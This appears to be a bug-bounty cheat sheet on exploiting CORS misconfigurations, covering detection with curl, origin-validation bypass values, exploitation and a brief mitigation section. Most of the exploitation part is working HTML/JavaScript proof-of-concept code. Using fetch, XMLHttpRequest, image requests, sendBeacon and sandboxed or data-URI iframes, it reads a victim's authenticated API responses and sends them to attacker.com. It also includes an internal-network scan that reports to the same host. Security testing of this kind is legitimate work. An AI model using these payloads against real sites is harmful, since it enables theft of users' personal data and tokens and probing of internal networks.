Understanding CORS
TEXT
CORS controls which origins can read responses from your API.
Without CORS: Browser blocks cross-origin response reading
With misconfigured CORS: Attacker's site can read victim's data
Detection
Basic Test
BASH
curl -H "Origin: https://evil.com" -I https://target.com/api/user
# Vulnerable if response includes:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Automated with Burp
TEXT
1. Add Origin: https://evil.com to request
2. Check response headers
3. If ACAO reflects your origin → potentially vulnerable
4. If ACAC: true → exploitable for authenticated data
Vulnerable Configurations
Origin Reflection
HTTP
Request:
Origin: https://evil.com
Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# Server reflects any origin → vulnerable!
Null Origin Allowed
HTTP
Request:
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# Exploitable via sandboxed iframe
Regex Bypass
HTTP
# If validation is ^https://.*\.target\.com$
Origin: https://evil.target.com # Subdomain takeover
Origin: https://eviltarget.com # Missing escape on dot
Origin: https://target.com.evil.com # Suffix match
Origin: https://targetXcom.evil.com # Dot as any char
Prefix Match Only
HTTP
# If validation checks startsWith("https://target.com")
Origin: https://target.com.evil.com # Starts with target.com
Origin: https://target.comevil.com # Still matches
Bypass Techniques
Subdomain Exploitation
HTTP
# If *.target.com trusted
Origin: https://anything.target.com
# Find subdomain with:
- XSS vulnerability
- Subdomain takeover potential
- Upload functionality
Protocol Downgrade
HTTP
# HTTPS target trusting HTTP
Origin: http://target.com
# Allows MitM to inject and exploit
Special Characters
HTTP
Origin: https://target.com%60.evil.com
Origin: https://target.com`.evil.com
Origin: https://target.com&.evil.com
Origin: https://target.com\.evil.com
Origin: https://target.com/.evil.com
Pre-Domain Characters
HTTP
Origin: https://evil!.target.com
Origin: https://evil$.target.com
Origin: https://evil*target.com
Origin: https://evil~target.com
Exploitation
Steal Authenticated Data
HTML
<script>
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Send stolen data to attacker
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
XMLHttpRequest Version
HTML
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/sensitive', true);
xhr.withCredentials = true;
xhr.onload = function() {
// Exfiltrate
new Image().src = 'https://attacker.com/log?data=' +
encodeURIComponent(xhr.responseText);
};
xhr.send();
</script>
Navigator Beacon (Works on Page Exit)
HTML
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.text())
.then(d => {
navigator.sendBeacon('https://attacker.com/log', d);
});
</script>
Null Origin Exploitation
Sandboxed Iframe Creates Null Origin
HTML
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user', {credentials: 'include'})
.then(r => r.json())
.then(d => {
parent.postMessage(d, '*');
});
</script>
"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(e.data)
});
});
</script>
Data URI Creates Null Origin
HTML
<iframe src="data:text/html,<script>
fetch('https://target.com/api/user', {credentials:'include'})
.then(r=>r.text())
.then(d=>parent.postMessage(d,'*'));
</script>"></iframe>
Advanced Attacks
CORS + CSRF Chain
TEXT
If CORS allows attacker origin:
1. Victim visits attacker page
2. Attacker reads anti-CSRF token via CORS
3. Attacker performs action with token
4. Standard CSRF protections bypassed
Internal Network Scan
JAVASCRIPT
// Use CORS to scan internal network
const internalIPs = ['192.168.1.1', '10.0.0.1', '172.16.0.1'];
internalIPs.forEach(ip => {
fetch(`http://${ip}/api/status`)
.then(r => {
// Internal service reachable
fetch('https://attacker.com/log?found=' + ip);
})
.catch(e => {});
});
Testing Checklist
TEXT
□ Test with random origin (Origin: https://evil.com)
□ Test with null origin (Origin: null)
□ Test subdomain variations
□ Test regex bypass patterns
□ Check if credentials included (ACAC: true)
□ Verify actual data exfiltration works
□ Check preflight (OPTIONS) handling
Impact Documentation
What to Show
TEXT
1. Vulnerable endpoint
2. Request/response headers showing reflection
3. Working PoC page
4. Actual stolen data
5. Clear impact statement
Impact Classifications
TEXT
- Can read PII → High
- Can read auth tokens → Critical
- Can read financial data → Critical
- Can read internal data → High
- Only non-sensitive data → Medium/Low
Mitigations (Know What's Blocked)
Secure Configuration
TEXT
Access-Control-Allow-Origin: https://trusted.com # Specific origin
Access-Control-Allow-Credentials: true
# OR for public APIs
Access-Control-Allow-Origin: *
# But NO credentials allowed with wildcard
What Browsers Block
TEXT
- Wildcard + Credentials → Blocked by browser
- No ACAO header → Response blocked
- ACAO doesn't match origin → Response blocked
Bug Bounty Tips
High-Value Targets
TEXT
- User profile endpoints
- Account settings
- API tokens/keys
- Financial data
- Internal APIs
- Admin endpoints
Common Misses
TEXT
- Test subdomains of the target
- Test HTTP version of HTTPS endpoints
- Test API versions (/v1/ vs /v2/)
- Test different content types
- Check WebSocket origins too